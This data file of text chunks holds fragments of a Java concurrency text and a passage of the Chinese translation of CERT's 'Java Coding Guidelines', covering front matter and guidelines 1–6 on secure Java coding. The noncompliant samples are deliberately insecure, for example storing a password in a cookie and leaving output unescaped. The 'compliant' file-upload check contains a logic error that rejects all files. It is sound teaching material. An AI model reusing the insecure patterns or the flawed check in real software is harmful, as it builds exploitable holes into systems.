CountTask(1, 4); // 执行一个任务 Future<Integer> result = forkJoinPool.submit(task); try { System.out.println(result.get()); } catch (InterruptedException e) { } catch (ExecutionException e) { } } } 通过这个例子，我们进一步了解ForkJoinTask，ForkJoinTask与一般任务的主要区别在于它需要实现compute方法，在这个方法里，首先需要判断任务是否足够小，如果足够小就直接执行任务。如果不足够小，就必须分割成两个子任务，每个子任务在调用fork方法时，又会进入compute方法，看看当前子任务是否需要继续分割成子任务，如果不需要继续分割，则执行当前子任务并返回结果。使用join方法会等待子任务执行完并得到其结果。"},
    {"text": "Unknown 1.1.2 测试上下文切换次数和时长 下面我们来看看有什么工具可以度量上下文切换带来的消耗。 ·使用Lmbench3 [1] 可以测量上下文切换的时长。 ·使用vmstat可以测量上下文切换的次数。 下面是利用vmstat测量上下文切换次数的示例。 $ vmstat 1 procs -----------memory---------- ---swap-- -----io---- --system-- -----cpu----- r b swpd free buff cache si so bi bo in cs us sy id wa st 0 0 0 127876 398928 2297092 0 0 0 4 2 2 0 0 99 0 0 0 0 0 127868 398928 2297092 0 0 0 0 595 1171 0 1 99 0 0 0 0 0 127868 398928 2297092 0 0 0 0 590 1180 1 0 100 0 0 0 0 0 127868 398928 2297092 0 0 0 0 567 1135 0 1 99 0 0 CS（Content Switch）表示上下文切换的次数，从上面的测试结果中我们可以看到，上下文每1秒切换1000多次。 [1] Lmbench3是一个性能分析工具。 Cover"},
    {"text": "Cover 目录 封面 扉页 版权 版权声明 译者简介 序 前言 致谢 作者介绍 第1章 安全 指南1：限制敏感数据的生命周期 指南2：不要在客户端存储未经加密的敏感数据 指南3：为敏感可变类提供不可修改的包装器 指南4：确保安全敏感方法被调用时参数经过验证 指南5：防止任意文件上传 指南6：正确地编码或转义输出 指南7：防止代码注入 指南8：防止XPath注入 指南9：防止LDAP注入 指南10：不要使用clone()方法来复制不可信的方法参数 指南11：不要使用Object.equals()来比较密钥 指南12：不要使用不安全的弱加密算法 指南13：使用散列函数存储密码 指南14：确保SecureRandom正确地选择随机数种子 指南15：不要依赖可以被不可信代码覆盖的方法 指南16：避免授予过多特权 指南17：最小化特权代码 指南18：不要将使用降低安全性检查的方法暴露给不可信代码 指南19：对细粒度的安全定义自定义安全权限 指南20：使用安全管理器创建一个安全的沙盒 指南21：不要让不可信代码误用回调方法的特权 第2章 防御式编程 指南22：最小化变量的作用域 指南23：最小化@SuppressWarnings注解的作用域 指南24：最小化类及其成员的可访问性 指南25：文档化代码的线程安全性 指南26：为方法的结果值提供反馈 指南27：使用多个文件属性识别文件 指南28：不要赋予枚举常量的序号任何特殊意义 指南29：注意数字提升行为 指南30：对可变参数的类型做编译时类型检查 指南31：不要把其值在以后版本里可能会发生变化的常量设置为public final 指南32：避免包之间的循环依赖 指南33：使用用户自定义的异常而非宽泛的异常类型 指南34：尽量从系统错误中优雅恢复 指南35：发布接口前请谨慎设计 指南36：编写对垃圾收集机制友好的代码 第3章 可靠性 指南37：不要在子作用域里遮蔽或者掩盖标识符 指南38：不要在一个声明里声明多个变量 指南39：在程序逻辑中用有意义的符号常量代表文字值 指南40：在常量定义中恰当地表示相互之间的关系 指南41：对于返回数组或者集合的方法，用返回一个空数组或者集合来替代返回一个空值 指南42：只在异常的情况下使用异常 指南43：使用try-with-resources语句安全处理可关闭的资源 指南44：不要使用断言来验证不存在的运行时错误 指南45：在条件表达式中，第二个和第三个操作数应使用相同类型 指南46：不要序列化直接指向系统资源的句柄 指南47：更倾向于使用迭代器而不是列举 指南48：对于短生存周期、不常用的对象不要使用直接缓冲区 指南49：从长生存周期容器对象中移除短生存周期对象 第4章 程序的可理解性 指南50：谨慎使用视觉上有误导性的标识符和文字 指南51：避免歧义重载变参方法 指南52：要避免使用带内错误指示器 指南53：不要在条件表达式中进行赋值 指南54：请使用大括号把if、for或while代码体括起来 指南55：不要直接在if、for或while条件语句后面加分号 指南56：在每一个case分支的代码块中加上break语句 指南57：避免不当的计算循环计数器 指南58：使用括号表示操作的优先级 指南59：不要对文件的创建做任何假设 指南60：做浮点运算前把整数转换为浮点数 指南61：确保对象的clone()方法中有调用super.clone() 指南62：保持注释的一致性和可读性 指南63：检测并移除冗余的代码和值 指南64：尽量保证逻辑完备 指南65：避免有歧义的重载或者误导性的重载 第5章 程序员的常见误解 指南66：不要假设使用volatile关键字声明引用可以保证引用所指对象的安全发布 指南67：不要假设sleep()、yield()或getState()方法提供了同步语义 指南68：不要假设对整数做取余运算总是返回正整数 指南69：不要弄混抽象对象的相等性和引用的相等性 指南70：理解按位运算符和逻辑运算符之间的差异 指南71：理解加载字符串时如何做特殊字符转义 指南72：不要使用重载的方法来区分运行时类型 指南73：不要弄混引用的不可变性和对象的不可变性 指南74：谨慎使用序列化方法 writeUnshared()和readUnshared() 指南75：不要试图通过把本地引用变量设置为null来帮助垃圾收集器 附录 Android 术语表 参考文献 扉页 PEARSON JAVA™CODING GUIDELINES 75 RECOMMENDATIONS FOR RELIABLE AND SECURE PROGRAMS Java编码指南：编写安全可靠程序的75条建议 〔美〕Fred Long Dhruv Mohindra Robert C.Seacord Dean F.Sutherland David Svoboda 著 刘先宁 尤青松 译 人民邮电出版社 北京"},
    {"text": "版权 图书在版编目（CIP）数据 Java编码指南：编写安全可靠程序的75条建议/（美）朗（Long,F.）等著；刘先宁，尤青松译.--北京：人民邮电出版社，2015.12 书名原文：Java Goding Guidelines:75 Recommendations for Reliable and Secure Programs ISBN 978-7-115-40371-1 Ⅰ.①J… Ⅱ.①朗…②刘…③尤… Ⅲ.①JAVA语言—程序设计—指南 Ⅳ.①TP312-62 中国版本图书馆CIP数据核字（2015）第242307号 内容提要 本书是《Java安全编码标准》一书的扩展，书中把那些不必列入Java安全编码标准但是同样会导致系统不可靠或不安全的Java编码实践整理了出来，并为这些糟糕的实践提供了相应的文档和警告，以及合规解决方案。读者可以将本书作为Java安全方面的工具书，根据自己的需要，找到自己感兴趣的规则进行阅读和理解，或者在实际开发中遇到安全问题时，根据书中列出的大致分类对规则进行索引和阅读，也可以通读全书的所有规则，系统地了解Java安全规则，增强对Java安全特性、语言使用、运行环境特性的理解。 本书给出了帮助Java软件工程师设计出高质量的、安全的、可靠的、强大的、有弹性的、可用性和可维护性高的软件系统的75条编码指南，适合所有Java开发人员阅读，也适合高等院校教师和学生学习和参考。 ◆著 [美]Fred Long Dhruv Mohindra Robert C.Seacord Dean F.Sutherland David Svoboda 译 刘先宁 尤青松 责任编辑 杨海玲 责任印制 张佳莹 焦志炜 ◆人民邮电出版社出版发行 北京市丰台区成寿寺路11号 邮编 100164 电子邮件 315@ptpress.com.cn 网址 http://www.ptpress.com.cn 固安县铭成印刷有限公司印刷 ◆开本：720×960 1/16 印张：17.75 字数：328千字 2015年12月第1版 印数：1-3000册 2015年12月河北第1次印刷 著作权合同登记号 图字：01-2013-9195号 定价：55.00元 读者服务热线：(010)81055410 印装质量热线：(010)81055316 反盗版热线：(010)81055315 版权声明 版权声明 Authorized translation from the English language edition,entitled Java Coding Guidelines:75 Recommendations for Reliable and Secure Programs,9780321933157 by Fred Long,Dhruv Mohindra,Robert C.Seacord,Dean F.Sutherland,and David Svoboda,published by Pearson Education,Inc.,publishing as Addison-Wesley,Copyright © 2014 by Pearson Education,Inc. All rights reserved.No part of this book may be reproduced or transmitted in any form or by any means,electronic or mechanical,including photocopying,recording or by any information storage retrieval system,without permission from Pearson Education,Inc. CHINESE SIMPLIFIED language edition published by PEARSON EDUCATION ASIA LTD.and POSTS ＆ TELECOM PRESS Copyright © 2015. 本书中文简体字版由Pearson Education Asia Ltd.授权人民邮电出版社独家出版。未经出版者书面许可，不得以任何方式复制或抄袭本书内容。 本书封面贴有Pearson Education（培生教育出版集团）激光防伪标签，无标签者不得销售。 版权所有，侵权必究。 译者简介 译者简介 刘先宁 ThoughtWorks高级咨询师，长期从事一线软件开发工作，对Java、面向对象、敏捷方法论都有较深理解。其译作还包括《HTML5移动Web开发实践》。 尤青松 ThoughtWorks咨询师，在敏捷软件交付团队中担任技术领导人，尤其对Java企业软件开发及其安全编程有较深理解。 序 序 作为《The CERT ® Oracle ® Secure Coding Standard for Java™》的一个延伸，本书是非常有价值的，它甚至可以命名为《可靠的 Java 编码指南》（Reliable Java™ Coding Guidelines）。这些年来，可靠性和安全性之间的相互影响深深地触动了我。现如今，虽然有各种各样的显式的安全手段（如加密、身份验证等）用以确保系统安全，但是大多数的漏洞都来自于开发中的失误：编码太差或防御不足。当我们说要构建一个可靠的系统时，在很大程度上等同于构建一个安全的系统。系统的安全性将会得益于你对系统可靠性所做的一切，反之亦然。 本书强调了这样一个事实：所谓的安全性其实不是一个特性，而是一种针对所有的潜在的不安全因素都予以充分考虑的态度。安全性应该被持续贯穿在每一位软件工程师的设计思考过程中。它的基础是一系列的编码指南。本书最精彩的地方就是这些编码指南背后的微妙之处。例如，“用散列函数存储密码”，这看上去是一件很基础很明显的事情，然而经常有新闻报道说，由于程序员没有考虑到密码的加密而导致重要数据泄露。大量的细节之处成为了安全隐患的藏身之所，这让系统安全变得很棘手。本书充满了处理这些细节的出色指导。 ——“Java之父”James A.Gosling"},
    {"text": "这些编码指南覆盖范围广泛，适用于大多数基于Java编写的运行在不同设备上的产品，这些设备包括电脑、游戏机、手机、平板电脑、家用电器和汽车电子设备。"},
    {"text": "针对Java语言，Oracle公司提供了一组编码约定[Conventions 2009]来帮助程序员编写具有一致编程风格的代码，这些约定已经被Java程序员广泛采用。 《The CERT ® Oracle ® Secure Coding Standard for Java™》 本书由《The CERT ® Oracle ® Secure Coding Standard for Java™》 ① [Long 2012]一书的作者编写。 该编码标准提供了一组针对Java语言的安全编码规则，目的是消除那些可能导致安全隐患的不安全编码实践。"},
    {"text": "该安全编码标准为软件系统建立了规范的需求，同时也可以用来评估软件系统的一致性，例如，使用《Source Code Analysis Laboratory (SCALe)》[Seacord 2012]来检测软件系统的一致性。"},
    {"text": "有些编码指南已经被排除在编码标准之外（但包括在本书当中），遵守这些指南进行编码始终是一个好主意，但违反这些指南也并不总是会导致错误的结果。"},
    {"text": "这些引用的形式类似于“IDS01-J. Normalize strings before validating them”，引号中的前三个字母表示的是《The CERT ® Oracle ® Secure Coding Standard for Java™》一书的相关章节。"},
    {"text": "这些安全编码标准针对Java的具体规则也可在CERT的安全编码百科网站（www.securecoding.cert.org）上找到，在那里它们有持续的更新。 《The CERT ® Oracle ® Secure Coding Standard for Java™》提供了针对一致性测试的定义，但安全编码百科上可能有该书没有涉及的、关于这些定义的扩展信息以及见解，这些可以帮助程序员理解这些规则的意义。"},
    {"text": "范围 本书侧重于Java SE 7平台环境，同时针对在安全编码过程中由于使用Java SE 7 API而产生的问题，进行了一些指导。 Java语言规范Java SE 7版（The Java Language Specification: Java SE 7 Edition，JLS）[JLS 2013]规定了Java编程语言的行为，本书的这些指南主要是参考它开发出来的。"},
    {"text": "传统编程语言，如C和C++，它们的语言标准里包括了一些未定义的、未指明的以及实现定义的（implementation-defined）行为，这些都容易使程序员对这些行为的可移植性作出不正确的假设，从而导致漏洞。"},
    {"text": "Java语言、其核心API和扩展API以及Java虚拟机提供了一些安全特性，如安全管理器、访问控制器、加密解密、自动内存管理、强类型检查和字节码验证。"},
    {"text": "图P-1 Oracle公司Java SE产品的概念图（来自Oracle公司的Java SE Documentation， http://docs.oracle.com/javase/7/docs/.Copyright © 1995,2010,Oracle and/or its affiliates.All rights reserved.） 这些编码指南主要适用于基于lang和util的库以及“其他基础库”，解决了其中的安全问题。"},
    {"text": "偶尔，本书中的编码指南使用的示例来自于流行的Web应用程序框架（如Spring和Struts）和流行的技术，如Java服务器页面（Java Server Page，JSP），通过这些示例突出安全漏洞并不是单独存在的。"},
    {"text": "内容 本书中采用的这些编码指南是广泛适用于几乎所有平台的，那些关注点在单一Java平台上的编码指南（例如，那些Android、Java微小版（ME）或Java企业版（EE）适用但Java标准版（SE）不适用的编码指南）被排除在了本书之外。"},
    {"text": "另外，在Java标准版中，用于处理用户界面（用户界面工具包）或为 Web 界面提供特性（如声音、图像渲染、用户账户访问控制、会话管理、身份验证以及授权）的API，也超出了本指南的范围。"},
    {"text": "尽管如此，书中的这些指南还是讨论了网络化的 Java 系统因不适当的输入验证而带来的相关风险，以及面临的注入式缺陷，并提供了适当的解决方案。"},
    {"text": "软件工程研究所（Software Engineering Institute， SEI）作为美国联邦政府资助的研发中心（Federally Funded Research and Development Center，FFRDC），不适合为此推荐特定的供应商或工具。"},
    {"text": "虽然这些指南的重点放在了Java SE 7平台环境上，但对于工作在Java ME、Java EE或其他Java版本平台环境上的程序员们，也具有一定的参考价值（虽然不完全）。"},
    {"text": "尽管这些指南的主要设计目的是构建安全可靠的系统，但这些指南同时也有助于提高系统的其他质量属性，如安全性、可靠性、健壮性、可用性和可维护性。"},
    {"text": "致谢 致谢 本书得以完成离不开广大社区人员的帮助，首先，要感谢为本书编码指南做过贡献的Ron Bandes、Jose Sandoval Chaverri、Ryan Hall、Fei He、Ryan Hofler、Sam Kaplan、Michael Kross、Christopher Leonavicius、Bocong Liu、Bastian Marquis、Aniket Mokashi、Jonathan、Paulson、Michael Rosenman、Tamir Sen、John Truelove和Matthew Wiethoff。 其次，非常感谢为本书的内容提供过帮助的James Ahlborn、Neelkamal Gaharwar、Ankur Goyal、Tim Halloran、Sujay Jain、Pranjal Jumde、Justin Loo、Yitzhak Mandelbaum、Todd Nowacki、Vishal Patel、Justin Pincar、Abhishek Ramani、Brendon Saulsbury、Kirk Sayre、Glenn Stroz、Yozo Toda和Shishir Kumar Yadav。另外，还需要感谢Hiroshi Kumagai和JPCERT对本书的Android附录所做的贡献。 感谢本书的审阅人员：Thomas Hawtin、Dan Plakosh和Steve Scholnick。 感谢SEI和CERT的管理者支持和鼓励我们完成本书，他们是Archie Andrews、Rich Pethia、Greg Shannon和Bill Wilson。 感谢本书的编辑Peter Gordon以及他在 Addison-Wesley出版社的团队：Kim Boedigheimer、Jennifer Bortel、John Fuller、Stephane Nakib和Julie Nahil；同样感谢项目编辑Anna Popick和文字编辑Melinda Rankin。 感谢CERT团队的其他成员的支持和帮助，没有你们的帮助，本书不可能完成。最后，同样要感谢本书的责任编辑Carol J. Lallier，是她让这本书变成可能。 作者介绍 作者介绍 Fred Long 是英国Aberystwyth大学计算机科学系的高级讲师，主要讲授：形式方法论，Java、C++和 C 语言编程，以及编程相关的安全问题。他还是英国计算机协会中威尔士分会的主席。Fred自1992年起一直担任软件工程研究所（Software Engineering Institute）的客座科学家。最近他的研究内容涉及了Java中的漏洞调查。Fred还是《The CERT ® Oracle ® Secure Coding Standard for Java™》一书的合著者。 Dhruv Mohindra 是印度Persistent Systems有限公司CTO办公室下的安全实践小组的技术领导。他为各个领域的公司提供信息安全方面的咨询服务，包括云服务、协作、银行、金融业、电信行业、企业、移动、生命科学和卫生保健领域。他会定期为财富500强、中小企业和创业公司的高级经理和开发团队提供咨询服务，帮助他们在软件开发周期中构建安全，实施最佳信息安全实践。 Dhruv曾在软件工程研究院的CERT分部工作，持续推动编程社区的安全意识提升。Dhruv拥有印度Pune大学的本科学位，以及卡内基-梅隆大学的信息安全策略与管理硕士学位。Dhruv同样也是《The CERT ® Oracle ® Secure Coding Standard for Java™》一书的合著者。 Robert C. Seacord 是一位安全编码技术经理，就职于宾夕法尼亚州匹兹堡市的卡内基-梅隆软件工程研究院（Software Engineering Institute，SEI）的CERT分部。他还是卡内基-梅隆大学计算机科学与信息网络学院的教授，是《The CERT ® C Secure Coding Standard》一书的作者，以及下列书籍的合著者：《Building Systems from Commercial Components》《Modernizing Legacy Systems》《The CERT ® Oracle ® Secure Coding Standard for Java™》和《Secure Coding in C and C++, Second Edition》。他发表过60多篇论文，这些论文涉及的领域有：软件安全、基于组件的软件工程、基于 Web 的系统设计、遗留系统升级，组件仓库和搜索引擎，以及用户界面的设计与开发。Robert 自 2005 年起，一直在为私人企业、学术界和政府教授《Secure Coding in C and C++》。他从1982年就在IBM开始了职业编程生涯，主要工作有通信软件和操作系统软件，处理器开发和软件工程。Robert还曾服务于X Consortium，在那儿他开发和维护了Common Desktop Environment和X Window System的代码。他还是卡内基-梅隆大学在C编程语言国际标准化组织ISO/IEC JTC1/SC22/WG14中的代表。 Dean F. Sutherland 是CERT的高级软件安全工程师，拥有卡内基-梅隆大学软件工程博士学位（2008年获得）。在回归学术界以前，他在Tartan公司做了14年的软件工程师，在Tartan的最后6年主要是以技术委员会的高级成员和技术领导的身份研究编译器底层技术。他是整个公司研发中心最活跃的技术人员，也是Tartan公司设计和推动新的软件开发流程的煽动者。在 Tartan，他管理研发项目，并领导了12人的编译器底层技术团队。Dean同样也是《The CERT ® Oracle ® Secure Coding Standard for Java™》一书的合著者。 David Svoboda 是CERT/SEI的软件安全工程师，也是《The CERT ® Oracle ® Secure Coding Standard for Java™》一书的合著者。他还维护了CERT安全编码标准的官方网站，这些网站包括Java、C、C++、Perl语言的安全编码标准。自 1991 年起，David 就是卡内基-梅隆大学的主要开发人员，参与过很多不同的软件开发项目，项目类型从分层芯片建模、社会组织仿真到自动机器翻译（AMT）都有。他1996年开发的KANTOO AMT软件仍然在Caterpillar产品上使用着。他有13年多的Java开发经验，从Java 2开始，他的Java项目包括Tomcat Servlets和一些Eclipse插件。他还在全世界范围为军队、政府和银行业教授Secure Coding in C and C++。David还是C编程语言的国际标准化组织ISO/IEC JTC1/SC22/WG14和C++编程语言的国际化标准组织ISO/IEC JTC1/SC22/WG21的活跃参与者。"},
    {"text": "Java虚拟机（Java Virtual Machine，JVM）有一个内置的字节码校验器，可以确保被执行的字节码符合Java语言规范Java SE 7版（JLS），因此所有在语言中定义的检查都能生效，无一例外。"},
    {"text": "Java还提供了一个细粒度可扩展的安全机制，使程序员能够对其希望使用的资源进行访问控制，如系统信息、文件、网络套接字以及任何其他安全敏感性资源。"},
    {"text": "安全管理器及其安全策略通常是通过命令行参数指定的，但有时也可以通过编程方式进行安装，前提是这样的动作没有被现有的安全策略所禁止。"},
    {"text": "class Password { public static void main (String args[]) throws IOException { Console c = System.console(); if (c == null) { System.err.println(\"No console.\"); System.exit(1); } String username = c.readLine(\"Enter your user name: \"); String password = c.readLine(\"Enter your password: \"); if (!verify(username, password)) { throw new SecurityException(\"Invalid Credentials\"); } // ... } // Dummy verify method, always returns true private static final boolean verify(String username, String password) { return true; } } 合规解决方案 下面的合规解决方案使用 Console.readPassword()方法从控制台获取密码信息。 class Password { public static void main (String args[]) throws IOException { Console c = System.console(); if (c == null) { System.err.println(\"No console.\"); System.exit(1); } String username = c.readLine(\"Enter your user name: \"); char[] password = c.readPassword(\"Enter your password: \"); if (!verify(username, password)) { throw new SecurityException(\"Invalid Credentials\"); } // Clear the password Arrays.fill(password, ' '); } // Dummy verify method, always returns true private static final boolean verify(String username, char[] password) { return true; } } Console.readPassword()方法允许密码以字符序列的形式返回，而不是以String对象的形式。"},
    {"text": "违规代码示例 下面的违规代码示例使用了一个BufferedReader来包装InputStreamReader对象，导致敏感数据可以从文件中被读取。 void readData() throws IOException{ BufferedReader br = new BufferedReader(new InputStreamReader( new FileInputStream(\"file\"))); // Read from the file String data = br.readLine(); } BufferedReader.readLine()方法以String对象的形式返回敏感数据，导致数据在不被需要后仍然会存留很久。 BufferedReader.read(char[], int, int)方法可以读取和填充一个char数组，不过，它需要程序员在使用完数组中的敏感数据后，手动将其清除，否则就会导致泄漏。"},
    {"text": "void readData(){ ByteBuffer buffer = ByteBuffer.allocateDirect(16 * 1024); try (FileChannel rdr = (new FileInputStream(\"file\")).getChannel()) { while (rdr.read(buffer) &gt; 0) { // Do something with the buffer buffer.clear(); } } catch (Throwable e) { // Handle error } } 注意，必须手动清除缓冲数据，因为垃圾收集器不会回收直接缓冲区。"},
    {"text": "参考文献 [API 2013] Class ByteBuffer [Oracle 2013b] “Reading ASCII Passwords from an InputStream Example” from the Java Cryptography Architecture[JCA]Reference Guide [Tutorials 2013] I/O from the Command Line 指南2：不要在客户端存储未经加密的敏感数据 在使用客户端服务器模式构建应用程序时，如果客户端容易受到攻击，那么将用户凭证信息这样的敏感数据存储在客户端，会导致这些信息在未经授权的情况下被泄露。"},
    {"text": "protected void doPost(HttpServletRequest request, HttpServletResponse response) { // Validate input (omitted) String username = request.getParameter(\"username\"); char[] password = request.getParameter(\"password\").toCharArray(); boolean rememberMe = Boolean.valueOf(request.getParameter(\"rememberme\")); LoginService loginService = new LoginServiceImpl(); if (rememberMe) { if (request.getCookies()[0] != null && request.getCookies()[0].getValue() != null) { String[] value = request.getCookies()[0].getValue().split(\";\"); if (!loginService.isUserValid(value[0], value[1].toCharArray())) { // Set error and return } else { // Forward to welcome page } } else { boolean validated = loginService.isUserValid(username, password); if (validated) { Cookie loginCookie = new Cookie(\"rememberme\", username + \";\" + new String(password)); response.addCookie(loginCookie); // ... forward to welcome page } else { // Set error and return } } } else { // No remember-me functionality selected // Proceed with regular authentication; // if it fails set error and return } Arrays.fill(password, ' '); } 不管怎样，用以上述方式实现“记住我”的功能，是不安全的，因为攻击者只要能访问客户端机器就能直接在客户端上获得这些敏感信息。"},
    {"text": "protected void doPost(HttpServletRequest request, HttpServletResponse response) { // Validate input (omitted) String username = request.getParameter(\"username\"); char[] password = request.getParameter(\"password\").toCharArray(); boolean rememberMe = Boolean.valueOf(request.getParameter(\"rememberme\")); LoginService loginService = new LoginServiceImpl(); boolean validated = false; if (rememberMe) { if (request.getCookies()[0] != null && request.getCookies()[0].getValue() != null) { String[] value = request.getCookies()[0].getValue().split(\";\"); if (value.length != 2) { // Set error and return } if (!loginService.mappingExists(value[0], value[1])) { // (username, random) pair is checked // Set error and return } } else { validated = loginService.isUserValid(username, password); if (!validated) { // Set error and return } } String newRandom = loginService.getRandomString(); // Reset the random every time loginService.mapUserForRememberMe(username, newRandom); HttpSession session = request.getSession(); session.invalidate(); session = request.getSession(true); // Set session timeout to 15 minutes session.setMaxInactiveInterval(60 * 15); // Store user attribute and a random attribute // in session scope session.setAttribute(\"user\", loginService.getUsername()); Cookie loginCookie = new Cookie(\"rememberme\", username + \";\" + newRandom); response.addCookie(loginCookie); // ... forward to welcome page } else { // No remember-me functionality selected // ... authenticate using isUserValid(), // and if failed, set error } Arrays.fill(password, ' '); } 服务器维护了一个用户名与安全随机字符串之间的映射。"},
    {"text": "如果用户选择了“记住我”，但客户端未能提供一个有效的cookie，那么服务器会要求用户使用他的凭据进行身份验证。 如果身份验证成功，服务器会给客户端发送一个新的具有“记住我”特征的cookie。"},
    {"text": "参考文献 [Oracle 2011c] Package javax.servlet.http [OWASP 2009] Session Fixation in Java [OWASP 2011] Cross-Site Scripting(XSS) [W3C 2003] The World Wide Web Security FAQ 指南3：为敏感可变类提供不可修改的包装器 字段的不变性可以防止其被意外修改以及恶意篡改，因此在接受输入或返回值时，防御性复制不可变字段是不必要的。"},
    {"text": "违规代码示例 在下面的违规代码示例中，Mutable这个类允许内部数组对象被修改： class Mutable { private int[] array = new int[10]; public int[] getArray() { return array; } public void setArray(int[] i) { array = i; } } // ... private Mutable mutable = new Mutable(); public Mutable getMutable() {return mutable;} 不可信的调用程序能调用setArray()方法，这违反了对象的不变性属性。"},
    {"text": "class MutableProtector extends Mutable { @Override public int[] getArray() { return super.getArray().clone(); } } // ... private Mutable mutable = new MutableProtector(); // May be safely invoked by untrusted caller having read ability public Mutable getMutable() {return mutable;} 在这个类中，调用getArray()方法不允许修改该类的私有内部状态，符合“OBJ05-J. Defensively copy private mutable class members before returning their references”[Long 2012]。"},
    {"text": "合规解决方案 一般来说，通过对核心接口定义的所有方法（包括赋值方法），提供合适的包装器，可以将敏感类转化为安全视图（safe-view）对象。"},
    {"text": "class MutableProtector extends Mutable { @Override public int[] getArray() { return super.getArray().clone(); } @Override public void setArray(int[] i) { throw new UnsupportedOperationException(); } } // ... private Mutable mutable = new MutableProtector(); // May be safely invoked by untrusted caller having read ability public Mutable getMutable() {return mutable; } MutableProtector类覆盖了Mutable类的getArray()方法，该方法克隆了Mutable类的原始数组。"},
    {"text": "参考文献 [Long 2012] OBJ05-J. Defensively copy private mutable class members before returning their references [Tutorials 2013] Unmodifiable Wrappers 指南4：确保安全敏感方法被调用时参数经过验证 当应用程序代码调用安全敏感方法时，必须验证被传递到方法中的参数。"},
    {"text": "AccessController.doPrivileged( new PrivilegedAction<Void>() { public Void run() { // ... } }, accessControlContext); 当传入空的（null）访问控制上下文时，双参数方法doPrivileged()不能仅对之前保存的上下文进行授权。"},
    {"text": "如果程序员打算以一个空的访问控制上下文调用AccessController.doPrivileged()方法，那么必须显式传递一个null参数或使用单参数版本的AccessController.doPrivileged()方法。"},
    {"text": "if (accessControlContext == null) { throw new SecurityException(\"Missing AccessControlContext\"); } AccessController.doPrivileged( new PrivilegedAction<Void>() { public Void run() { // ... } }, accessControlContext); 适用性 必须彻底理解安全敏感方法，并验证它们的参数，以防止意想不到的参数值（如空值）导致的极端情况。"},
    {"text": "参考文献 [API 2013] AccessController.doPrivileged(), System.setSecurityManager() 指南5：防止任意文件上传 Java应用程序，包括Web应用程序，在接受文件上传的同时，必须确保攻击者不能上传或者传输恶意文件。"},
    {"text": "例如，如果一个应用程序允许了 HTML文件的上传，那么也就相当于间接允许了恶意代码的执行——攻击者可以提交一个有效的HTML文件，如果该文件包含了跨站脚本（XSS）攻击的代码片段，在程序缺乏输出过滤的情况下这些攻击脚本将会被有效执行。"},
    {"text": "也有可能出现上传的文件具有危险的后缀这种情况，如.exe（可执行文件后缀）和.sh（可执行脚本后缀），这种情况会导致服务器端应用程序执行任意代码。"},
    {"text": "一个典型的支持文件上传的Java Server Page（JSP）页面可能包含以下代码： <s:form action=\"doupload\" method=\"POST\" enctype=\"multipart/form-data\"> <s:file name=\"uploadFile\" label=\"Choose File\" size=\"40\" /> <s:submit value=\"Upload\" name=\"submit\" /> </s:form> 许多Java企业级框架都提供了相应的配置设置，旨在防止任意文件被上传。"},
    {"text": "<action name=\"doUpload\" class=\"com.example.UploadAction\"> <interceptor-ref name=\"fileupload\"> <param name=\"maximumSize\"> 10240 </param> <param name=\"allowedTypes\"> text/plain,image/JPEG,text/html </param> </interceptor-ref> </action> 负责文件上传的代码在UploadAction类中： public class UploadAction extends ActionSupport { private File uploadedFile; // setter and getter for uploadedFile public String execute() { try { // File path and file name are hardcoded for illustration File fileToCreate = new File(\"filepath\", \"filename\"); // Copy temporary file content to this file FileUtils.copyFile(uploadedFile, fileToCreate); return \"SUCCESS\"; } catch (Throwable e) { addActionError(e.getMessage()); return \"ERROR\"; } } } 参数maximumSize确保了指定的Action不会接收到一个非常大的文件。"},
    {"text": "public class UploadAction extends ActionSupport { private File uploadedFile; // setter and getter for uploadedFile public String execute() { try { // File path and file name are hardcoded for illustration File fileToCreate = new File(\"filepath\", \"filename\"); boolean textPlain = checkMetaData(uploadedFile, \"text/plain\"); boolean img = checkMetaData(uploadedFile, \"image/JPEG\"); boolean textHtml = checkMetaData(uploadedFile, \"text/html\"); if (!textPlain || !img || !textHtml) { return \"ERROR\"; } // Copy temporary file content to this file FileUtils.copyFile(uploadedFile, fileToCreate); return \"SUCCESS\"; } catch (Throwable e) { addActionError(e.getMessage()); return \"ERROR\"; } } public static boolean checkMetaData( File f, String getContentType) { try (InputStream is = new FileInputStream(f)) { ContentHandler contenthandler = new BodyContentHandler(); Metadata metadata = new Metadata(); metadata.set(Metadata.RESOURCE_NAME_KEY, f.getName()); Parser parser = new AutoDetectParser(); try { parser.parse(is, contenthandler, metadata, new ParseContext()); } catch (SAXException | TikaException e) { // Handle error return false; } if (metadata.get(Metadata.CONTENT_TYPE).equalsIgnoreCase( getContentType)) { return true; } else { return false; } } catch (IOException e) { // Handle error return false; } } } AutoDetectParser会基于需要解析的文件的内容类型，选择最佳的可用解析器。"},
    {"text": "虽然不同的子系统需要不同类型的数据无害化处理，但是子系统最终要接收的输入形式都很明确，因此可以很清楚地知道需要什么样的数据无害化处理。"},
    {"text": "违规代码示例 下面的违规代码示例使用基于Java EE的Spring框架中的模型-视图-控制器（Model-View-Controller，MVC）概念，向用户显示了没有经过编码或转义的数据。"},
    {"text": "@RequestMapping(\"/getnotifications.htm\") public ModelAndView getNotifications( HttpServletRequest request, HttpServletResponse response) { ModelAndView mv = new ModelAndView(); try { UserInfo userDetails = getUserInfo(); List<Map<String,Object>> list = new ArrayList<Map<String, Object>>(); List<Notification> notificationList = NotificationService.getNotificationsForUserId( userDetails.getPersonId()); for (Notification notification: notificationList) { Map<String,Object> map = new HashMap<String, Object>(); map.put(\"id\", notification.getId()); map.put(\"message\", notification.getMessage()); list.add(map); } mv.addObject(\"Notifications\", list); } catch (Throwable t) { // Log to file and handle } return mv; } 合规解决方案 下面的合规解决方案定义了一个ValidateOutput类，这个类首先将输出规范化到了一个已知的字符集，然后使用白名单的对数据做了无害化处理，最后对所有未指明的数据值进行编码，强制执行了双重检查机制。"},
    {"text": "public class ValidateOutput { // Allows only alphanumeric characters and spaces private static final Pattern pattern = Pattern.compile(\"^[a-zA-Z0-9\\\\s]{0,20}$\"); // Validates and encodes the input field based on a whitelist public String validate(String name, String input) throws ValidationException { String canonical = normalize(input); if (!pattern.matcher(canonical).matches()) { throw new ValidationException(\"Improper format in \" + name + \" field\"); } // Performs output encoding for nonvalid characters canonical = HTMLEntityEncode(canonical); return canonical; } // Normalizes to known instances private String normalize(String input) { String canonical = java.text.Normalizer.normalize(input, Normalizer.Form.NFKC); return canonical; } // Encodes nonvalid data private static String HTMLEntityEncode(String input) { StringBuffer sb = new StringBuffer(); for (int i = 0; i < input.length(); i++) { char ch = input.charAt(i); if (Character.isLetterOrDigit(ch) || Character.isWhitespace(ch)) { sb.append(ch); } else { sb.append(\"&#\" + (int)ch + \";\"); } } return sb.toString(); } } // ... @RequestMapping(\"/getnotifications.htm\") public ModelAndView 